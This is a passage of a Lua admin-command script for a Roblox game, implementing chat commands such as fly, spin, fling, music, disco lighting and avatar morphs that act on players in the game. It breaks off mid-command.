  6175. p.CFrame = v.Character.Torso.CFrame * CFrame.new(Vector3.new(2, 0, 0))
  6176. p.Velocity = v.Character.Head.CFrame.lookVector * 1 + Vector3.new(math.random(-1, 1), math.random(-1, 1), math.random(-1, 1))
  6177. p.Anchored = false
  6178. m.Name='Blood Peice'
  6179. p.Name='Blood Peice'
  6180. p.Touched:connect(function(o)
  6181. if o and p and (not game.Players:FindFirstChild(o.Parent.Name)) and o.Name~='Blood Peice' and o.Name~='Puke Peice' and o.Name~='Puke Plate' and o.Name~='Blood Plate' and (o.Parent.Name=='Workspace' or o.Parent:IsA('Model')) and (o.Parent~=p.Parent) and o:IsA('Part') and (o.Parent.Name~=v.Character.Name) and (not o.Parent:IsA('Hat')) and (not o.Parent:IsA('Tool')) then
  6182. local cf=CFrame.new(p.CFrame.X,o.CFrame.Y+o.Size.Y/2,p.CFrame.Z)
  6183. p:Destroy()
  6184. local g=Instance.new('Part',workspace)
  6185. g.Anchored=true
  6186. g.CanCollide=false
  6187. g.Size=Vector3.new(0.1,0.1,0.1)
  6188. g.Name='Blood Plate'
  6189. g.CFrame=cf
  6190. g.BrickColor=BrickColor.new(21)
  6191. local c=Instance.new('CylinderMesh',g)
  6192. c.Scale=Vector3.new(1,0.2,1)
  6193. c.Name='BloodMesh'
  6194. wait(10)
  6195. g:Destroy()
  6196. elseif o and o.Name=='Blood Plate' and p then
  6197. p:Destroy()
  6198. o.BloodMesh.Scale=o.BloodMesh.Scale+Vector3.new(0.5,0,0.5)
  6199. end
  6200. end)
  6201. until run==false or (not v) or (not v.Character) or (not v.Character:FindFirstChild('Head'))
  6202. end)()
  6203. wait(10)
  6204. run=false
  6205. k:Destroy()
  6206. end)()
  6207. end
  6208. end
  6209.  
  6210. if msg:lower():sub(1,5)=='drug ' then
  6211. for i,v in pairs(set.GetPlayers(plr, msg:lower():sub(6))) do
  6212. coroutine.wrap(function()
  6213. local msgs={{Msg='We need more..... philosophy... ya know?',Color=Enum.ChatColor.Green},{Msg='OH MY GOD STOP TRYING TO EAT MY SOUL',Color=Enum.ChatColor.Red},{Msg='I.... CANT.... FEEL.... MY FACE',Color=Enum.ChatColor.Red},{Msg='DO YOU SEE THE TURTLE?!?!',Color=Enum.ChatColor.Red},{Msg='Omg puff the magic dragon!!!!',Color=Enum.ChatColor.Green},{Msg='Omg double wat',Color=Enum.ChatColor.Blue},{Msg='WHO STOLE MY LEGS',Color=Enum.ChatColor.Red},{Msg='I... I think I might be dead....',Color=Enum.ChatColor.Blue},{Msg="I'M GOING TO EAT YOUR FACE",Color=Enum.ChatColor.Red},{Msg='Hey... Like... What if, like, listen, are you listening? What if.. like.. earth.. was a ball?',Color=Enum.ChatColor.Green},{Msg='WHY IS EVERYBODY TALKING SO LOUD AHHHHHH',Color=Enum.ChatColor.Red},{Msg='Woooo man do you see the elephent... theres an elephent man..its... PURPLE OHMY GOD ITS A SIGN FROM LIKE THE WARDROBE..',Color=Enum.ChatColor.Blue}}
  6214. v.Character.Humanoid.WalkSpeed=-16
  6215. set.LoadOnClient(v,[[
  6216. coroutine.wrap(function()
  6217. repeat
  6218. wait(0.1)
  6219. game.Workspace.CurrentCamera.FieldOfView=math.random(20,80)
  6220. game.Players.LocalPlayer.Character.Humanoid.Health=game.Players.LocalPlayer.Character.Humanoid.Health-0.5
  6221. until game.Players.LocalPlayer.Character.Humanoid.Health<=0 or not game.Players.LocalPlayer.Character:FindFirstChild('Torso')
  6222. game.Workspace.CurrentCamera.FieldOfView=70
  6223. end)()
  6224. wait(10)
  6225. coroutine.wrap(function()
  6226. local torso = game.Players.LocalPlayer.Character:findFirstChild("Torso")
  6227. local bg = Instance.new("BodyGyro", torso)
  6228. bg.Name = "SPINNER"
  6229. bg.maxTorque = Vector3.new(0,math.huge,0)
  6230. bg.P = 11111
  6231. bg.cframe = torso.CFrame
  6232. repeat wait(1/44)
  6233. bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  6234. until not bg or bg.Parent ~= torso
  6235. end)()
  6236. wait(20)
  6237. coroutine.wrap(function()
  6238. repeat wait()
  6239. game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true
  6240. game.Players.LocalPlayer.Character.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10))
  6241. game.Players.LocalPlayer.Character.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5))
  6242. until nil
  6243. end)()]],false,set.AssignName())
  6244. local chat=game:GetService('Chat')
  6245. coroutine.wrap(function()
  6246. local val=Instance.new('StringValue',v.Character.Head)
  6247. local old=math.random()
  6248. while v and v.Character and v.Character.Head and val and val.Parent==v.Character.Head and v.Character.Humanoid.Health>0 do
  6249. local new=math.random(1,#msgs)
  6250. for k,m in pairs(msgs) do
  6251. if new==k then
  6252. if old~=new then
  6253. old=new
  6254. print(m.Msg)
  6255. chat:Chat(v.Character.Head,m.Msg,m.Color)
  6256. end
  6257. end
  6258. end
  6259. wait(5)
  6260. end
  6261. end)()
  6262. end)()
  6263. end
  6264. end
  6265.  
  6266. if msg:lower():sub(1,6) == "pitch " then
  6267. coroutine.wrap(function()
  6268. local pitch = msg:sub(7):lower()
  6269. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v.Pitch=pitch end end
  6270. end)()
  6271. end
  6272.  
  6273. if msg:lower():sub(1,6) == "music " then
  6274. coroutine.wrap(function()
  6275. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  6276. local id = msg:sub(7):lower()
  6277. local pitch = 1
  6278. local mp = game:service('MarketplaceService')
  6279. local volume = 1
  6280. for i,v in pairs(set['MusicList']) do
  6281. if id==v.Name:lower() then id=v.Id end
  6282. if v.Pitch then pitch=v.Pitch end
  6283. if v.Volume then volume=v.Volume end
  6284. end
  6285. local name = 'Invalid ID '
  6286. pcall(function()
  6287. if mp:GetProductInfo(id).AssetTypeId==3 then
  6288. name = 'Now playing '..mp:GetProductInfo(id).Name
  6289. end
  6290. end)
  6291. local s = Instance.new("Sound", game.Workspace)
  6292. s.SoundId = "http://www.roblox.com/asset/?id=" .. id
  6293. s.Volume = volume
  6294. s.Pitch = pitch
  6295. s.Looped = true
  6296. s.archivable = false
  6297. pcall(function() s:Play()end)
  6298. set.Hint(name..' ('..id..')',game.Players:children())
  6299. end)()
  6300. end
  6301.  
  6302. if msg:lower() == "stopmusic" then
  6303. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  6304. end
  6305.  
  6306. if msg:lower() == "musiclist" then
  6307. if plr.PlayerGui:findFirstChild(GuiName.."MUSICGUI") then return end
  6308. local scr, cmf, ent, num, top = set.ScrollGui() top.Text='Music List' scr.Name = GuiName.."MUSICGUI" scr.Parent = plr.PlayerGui
  6309. for i, v in pairs(set['MusicList']) do
  6310. local cl = ent:Clone()
  6311. cl.Parent = cmf
  6312. cl.Text = v.Name
  6313. cl.Position = UDim2.new(0,0,0,num*20)
  6314. cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
  6315. num = num +1
  6316. end
  6317. end
  6318.  
  6319. if msg:lower():sub(1,9) == 'stickify ' then
  6320. local plrz = set.GetPlayers(plr, msg:lower():sub(10))
  6321. for kay, player in pairs(plrz) do
  6322. coroutine.wrap(function()
  6323. local Self = player
  6324. m = Self.Character
  6325. for i,v in pairs(m:GetChildren()) do
  6326. if v:IsA ("Part") then
  6327. local s = Instance.new("SelectionPartLasso")
  6328. s.Parent = m.Torso
  6329. s.Part = v
  6330. s.Humanoid = m.Humanoid
  6331. s.Color = BrickColor.new(0,0,0)
  6332. v.Transparency = 1
  6333. m.Head.Transparency = 0
  6334. m.Head.Mesh:Remove()
  6335. local b = Instance.new("SpecialMesh")
  6336. b.Parent = m.Head
  6337. b.MeshType = "Sphere"
  6338. b.Scale = Vector3.new(.5,1,1)
  6339. m.Head.BrickColor = BrickColor.new("Black")
  6340. else
  6341. end
  6342. end
  6343. end)()
  6344. end
  6345. end
  6346.  
  6347. if msg:lower():sub(1,5) == 'hole ' then
  6348. local plrz = set.GetPlayers(plr, msg:lower():sub(6))
  6349. for kay, player in pairs(plrz) do
  6350. coroutine.wrap(function()
  6351. local Self=player
  6352. local Tor
  6353. if pcall(function() Tor = Self.Character.Torso end) then
  6354. local Hole = Instance.new("Part",Self.Character)
  6355. Hole.Anchored = true
  6356. Hole.CanCollide = false
  6357. Hole.formFactor = Enum.FormFactor.Custom
  6358. Hole.Size = Vector3.new(10,1,10)
  6359. Hole.CFrame = Tor.CFrame * CFrame.new(0,-3.3,-3)
  6360. Hole.BrickColor = BrickColor.new("Really black")
  6361. local HoleM = Instance.new("CylinderMesh",Hole)
  6362. Tor.Anchored = true
  6363. local Foot = Tor.CFrame * CFrame.new(0,-3,0)
  6364. local Func = coroutine.create(function()
  6365. for i=1,10 do
  6366. Tor.CFrame = Foot * CFrame.fromEulerAnglesXYZ(-(math.pi/2)*i/10,0,0) * CFrame.new(0,3,0)
  6367. wait()
  6368. end
  6369. for i=1,5,0.2 do
  6370. Tor.CFrame = Foot * CFrame.new(0,-(i^2),0) * CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) * CFrame.new(0,3,0)
  6371. wait()
  6372. end
  6373. pcall(function() Self.Character.Humanoid.Health = 0 end)
  6374. end)
  6375. coroutine.resume(Func)
  6376. end
  6377. end)()
  6378. end
  6379. end
  6380.  
  6381. if msg:lower():sub(1,4) == "fly " then
  6382. local plrz = set.GetPlayers(plr, msg:lower():sub(5))
  6383. for i, v in pairs(plrz) do
  6384. coroutine.resume(coroutine.create(function()
  6385. if v then
  6386. set.LoadOnClient(v,[[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  6387. local mouse = game.Players.LocalPlayer:GetMouse()
  6388. repeat wait() until mouse
  6389. local plr = game.Players.LocalPlayer
  6390. local torso = plr.Character.Torso
  6391. local flying = true
  6392. local deb = true
  6393. local ctrl = {f = 0, b = 0, l = 0, r = 0}
  6394. local lastctrl = {f = 0, b = 0, l = 0, r = 0}
  6395. local maxspeed = 50
  6396. local speed = 0
  6397. function Fly()
  6398. local bg = Instance.new("BodyGyro", torso)
  6399. bg.P = 9e4
  6400. bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  6401. bg.cframe = torso.CFrame
  6402. local bv = Instance.new("BodyVelocity", torso)
  6403. bv.velocity = Vector3.new(0,0.1,0)
  6404. bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
  6405. repeat wait()
  6406. plr.Character.Humanoid.PlatformStand = true
  6407. if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
  6408. speed = speed+.5+(speed/maxspeed)
  6409. if speed > maxspeed then
  6410. speed = maxspeed
  6411. end
  6412. elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
  6413. speed = speed-1
  6414. if speed < 0 then
  6415. speed = 0
  6416. end
  6417. end
  6418. if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
  6419. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  6420. lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
  6421. elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
  6422. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  6423. else
  6424. bv.velocity = Vector3.new(0,0.1,0)
  6425. end
  6426. bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
  6427. until not flying
  6428. ctrl = {f = 0, b = 0, l = 0, r = 0}
  6429. lastctrl = {f = 0, b = 0, l = 0, r = 0}
  6430. speed = 0
  6431. bg:Destroy()
  6432. bv:Destroy()
  6433. plr.Character.Humanoid.PlatformStand = false
  6434. end
  6435. mouse.KeyDown:connect(function(key)
  6436. if key:lower() == "e" then
  6437. if flying then flying = false
  6438. else
  6439. flying = true
  6440. Fly()
  6441. end
  6442. elseif key:lower() == "w" then
  6443. ctrl.f = 1
  6444. elseif key:lower() == "s" then
  6445. ctrl.b = -1
  6446. elseif key:lower() == "a" then
  6447. ctrl.l = -1
  6448. elseif key:lower() == "d" then
  6449. ctrl.r = 1
  6450. end
  6451. end)
  6452. mouse.KeyUp:connect(function(key)
  6453. if key:lower() == "w" then
  6454. ctrl.f = 0
  6455. elseif key:lower() == "s" then
  6456. ctrl.b = 0
  6457. elseif key:lower() == "a" then
  6458. ctrl.l = 0
  6459. elseif key:lower() == "d" then
  6460. ctrl.r = 0
  6461. end
  6462. end)
  6463. Fly()]],false,'FlyScript')
  6464. end
  6465. end))
  6466. end
  6467. end
  6468.  
  6469. if msg:lower():sub(1,6) == "unfly " then
  6470. local plrz = set.GetPlayers(plr, msg:lower():sub(7))
  6471. for i, v in pairs(plrz) do
  6472. coroutine.resume(coroutine.create(function()
  6473. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  6474. for a, q in pairs(v.PlayerGui:children()) do if q.Name == GuiName.."FlyScript" then q:Destroy() end end
  6475. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  6476. wait(.1) v.Character.Humanoid.PlatformStand = false
  6477. end
  6478. end))
  6479. end
  6480. end
  6481.  
  6482. if msg:lower() == "disco" then
  6483. set.lighttask=false
  6484. wait(0.5)
  6485. coroutine.wrap(function()
  6486. set.lighttask = true
  6487. repeat
  6488. if set.lighttask==false then return end
  6489. local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  6490. game:service('Lighting').Ambient = color
  6491. game:service('Lighting').OutdoorAmbient = color
  6492. game:service('Lighting').FogColor = color
  6493. wait(0.1)
  6494. until set.lighttask==false
  6495. end)()
  6496. end
  6497.  
  6498. if msg:lower() == "flash" then
  6499. set.lighttask=false
  6500. wait(0.5)
  6501. coroutine.wrap(function()
  6502. set.lighttask=true
  6503. repeat
  6504. if set.lighttask==false then return end
  6505. game:service('Lighting').Ambient = Color3.new(1,1,1)
  6506. game:service('Lighting').OutdoorAmbient = Color3.new(1,1,1)
  6507. game:service('Lighting').FogColor = Color3.new(1,1,1)
  6508. game:service('Lighting').Brightness = 1
  6509. game:service('Lighting').TimeOfDay = 14
  6510. wait(0.1)
  6511. game:service('Lighting').Ambient = Color3.new(0,0,0)
  6512. game:service('Lighting').OutdoorAmbient = Color3.new(0,0,0)
  6513. game:service('Lighting').FogColor = Color3.new(0,0,0)
  6514. game:service('Lighting').Brightness = 0
  6515. game:service('Lighting').TimeOfDay = 0
  6516. wait(0.1)
  6517. until set.lighttask==false
  6518. end)()
  6519. end
  6520.  
  6521. if msg:lower():sub(1,5) == "spin " then
  6522. local plrz = set.GetPlayers(plr, msg:lower():sub(6))
  6523. for i, v in pairs(plrz) do
  6524. coroutine.resume(coroutine.create(function()
  6525. if v and v.Character and v.Character:findFirstChild("Torso") then
  6526. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  6527. local torso = v.Character:findFirstChild("Torso")
  6528. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(set.objects,bg)
  6529. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  6530. until not bg or bg.Parent ~= torso
  6531. end
  6532. end))
  6533. end
  6534. end
  6535.  
  6536. if msg:lower():sub(1,7) == "unspin " then
  6537. local plrz = set.GetPlayers(plr, msg:lower():sub(8))
  6538. for i, v in pairs(plrz) do
  6539. coroutine.resume(coroutine.create(function()
  6540. if v and v.Character and v.Character:findFirstChild("Torso") then
  6541. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  6542. end
  6543. end))
  6544. end
  6545. end
  6546.  
  6547. if msg:lower():sub(1,4) == "dog " then
  6548. local plrz = set.GetPlayers(plr, msg:lower():sub(5))
  6549. for i, v in pairs(plrz) do
  6550. coroutine.resume(coroutine.create(function()
  6551. if v and v.Character and v.Character:findFirstChild("Torso") then
  6552. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  6553. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  6554. v.Character.Torso.Transparency = 1
  6555. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  6556. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  6557. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  6558. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  6559. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  6560. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  6561. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  6562. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  6563. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  6564. end
  6565. end))
  6566. end
  6567. end
  6568.  
  6569. if msg:lower():sub(1,6) == "undog " then
  6570. local plrz = set.GetPlayers(plr, msg:lower():sub(7))
  6571. for i, v in pairs(plrz) do
  6572. coroutine.resume(coroutine.create(function()
  6573. if v and v.Character and v.Character:findFirstChild("Torso") then
  6574. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  6575. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  6576. v.Character.Torso.Transparency = 0
  6577. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  6578. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  6579. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  6580. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  6581. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  6582. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  6583. end
  6584. end))
  6585. end
  6586. end
  6587.  
  6588. if msg:lower():sub(1,8) == "creeper " then
  6589. local plrz = set.GetPlayers(plr, msg:lower():sub(9))
  6590. for i, v in pairs(plrz) do
  6591. coroutine.resume(coroutine.create(function()
  6592. if v and v.Character and v.Character:findFirstChild("Torso") then
  6593. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  6594. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  6595. v.Character.Torso.Transparency = 0
  6596. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  6597. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  6598. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  6599. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  6600. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  6601. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  6602. end
  6603. end))
  6604. end
  6605. end
  6606.  
  6607. if msg:lower():sub(1,10) == "uncreeper " then
  6608. local plrz = set.GetPlayers(plr, msg:lower():sub(11))
  6609. for i, v in pairs(plrz) do
  6610. coroutine.resume(coroutine.create(function()
  6611. if v and v.Character and v.Character:findFirstChild("Torso") then
  6612. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  6613. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  6614. v.Character.Torso.Transparency = 0
  6615. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  6616. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  6617. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  6618. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  6619. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  6620. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  6621. end
  6622. end))
  6623. end
  6624. end
  6625.  
  6626. if msg:lower():sub(1,8) == "bighead " then
  6627. local plrz = set.GetPlayers(plr, msg:lower():sub(9))
  6628. for i, v in pairs(plrz) do
  6629. coroutine.resume(coroutine.create(function()
  6630. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  6631. end))
  6632. end
  6633. end
  6634.  
  6635. if msg:lower():sub(1,9) == "minihead " then
  6636. local plrz = set.GetPlayers(plr, msg:lower():sub(10))
  6637. for i, v in pairs(plrz) do
  6638. coroutine.resume(coroutine.create(function()
  6639. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  6640. end))
  6641. end
  6642. end
  6643.  
  6644. if msg:lower():sub(1,6) == "fling " then
  6645. local plrz = set.GetPlayers(plr, msg:lower():sub(7))
  6646. for i, v in pairs(plrz) do
  6647. coroutine.resume(coroutine.create(function()
  6648. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  6649. local xran local zran
  6650. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  6651. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  6652. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  6653. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  6654. end
  6655. end))
  6656. end
  6657. end
  6658.  
  6659. if msg:lower():sub(1,8) == "seizure " then
  6660. local plrz = set.GetPlayers(plr, msg:lower():sub(9))
  6661. for i, v in pairs(plrz) do
  6662. coroutine.resume(coroutine.create(function()
  6663. if v and v.Character then
  6664. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  6665. set.LoadScript('LocalScript',[[char=game.Players.LocalPlayer.Character; repeat wait() char.Humanoid.PlatformStand = true char.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) char.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]],"SeizureBase",true,v.PlayerGui)
  6666. end
  6667. end))
  6668. end
  6669. end
  6670.  
  6671. if msg:lower():sub(1,10) == "unseizure " then
  6672. local plrz = set.GetPlayers(plr, msg:lower():sub(11))
  6673. for i, v in pairs(plrz) do
  6674. coroutine.resume(coroutine.create(function()
  6675. if v and v.PlayerGui then
  6676. for i,v in pairs(v.PlayerGui:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  6677. wait(.1) v.Character.Humanoid.PlatformStand = false
  6678. end
  6679. end))
  6680. end
  6681. end
  6682.  
  6683. if msg:lower():sub(1,12) == "removelimbs " then
  6684. local plrz = set.GetPlayers(plr, msg:lower():sub(13))
  6685. for i, v in pairs(plrz) do
  6686. coroutine.resume(coroutine.create(function()
  6687. if v and v.Character then
  6688. for a, obj in pairs(v.Character:children()) do
  6689. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  6690. end
  6691. end
  6692. end))
  6693. end
  6694. end
  6695.  
  6696. if msg:lower():sub(1,5) == "name " then
  6697. local chk1 = msg:lower():sub(6):find(" ") + 5
  6698. local plrz = set.GetPlayers(plr, msg:lower():sub(6,chk1-1))
  6699. for i, v in pairs(plrz) do
  6700. coroutine.resume(coroutine.create(function()
  6701. if v and v.Character and v.Character:findFirstChild("Head") then
  6702. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  6703. local char = v.Character
  6704. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  6705. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  6706. cl.CanCollide=false
  6707. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  6708. char.Head.Transparency = 1
  6709. end
  6710. end))
  6711. end
  6712. end
  6713.  
  6714. if msg:lower():sub(1,7) == "unname " then
  6715. local plrz = set.GetPlayers(plr, msg:lower():sub(8))
  6716. for i, v in pairs(plrz) do
  6717. coroutine.resume(coroutine.create(function()
  6718. if v and v.Character and v.Character:findFirstChild("Head") then
  6719. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  6720. end
  6721. end))
  6722. end
  6723. end
  6724.  
  6725. if msg:lower():sub(1,5) == "char " then
  6726. local chk1 = msg:lower():sub(6):find(" ") + 5
  6727. local plrz = set.GetPlayers(plr, msg:lower():sub(6,chk1-1))
  6728. for i, v in pairs(plrz) do
  6729. coroutine.resume(coroutine.create(function()
  6730. if v and v.Character then
  6731. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  6732. v:LoadCharacter()
  6733. end
  6734. end))
  6735. end
  6736. end
  6737.  
  6738. if msg:lower():sub(1,7) == "unchar " then
  6739. local plrz = set.GetPlayers(plr, msg:lower():sub(8))
  6740. for i, v in pairs(plrz) do
  6741. coroutine.resume(coroutine.create(function()
  6742. if v and v.Character then
  6743. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  6744. v:LoadCharacter()
  6745. end
  6746. end))
  6747. end
  6748. end
  6749.  
  6750. if msg:lower():sub(1,7) == "infect " then
  6751. local plrz = set.GetPlayers(plr, msg:lower():sub(8))
  6752. for i, v in pairs(plrz) do
  6753. coroutine.resume(coroutine.create(function()
  6754. if v and v.Character then
  6755. set.Infect(v.Character)
  6756. end
  6757. end))
  6758. end
  6759. end
  6760.  
  6761. if msg:lower():sub(1,11) == "rainbowify " then
  6762. local plrz = set.GetPlayers(plr, msg:lower():sub(12))
  6763. for i, v in pairs(plrz) do
  6764. coroutine.resume(coroutine.create(function()
  6765. if v and v.Character and v.Character:findFirstChild("Torso") then
  6766. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  6767. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  6768. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
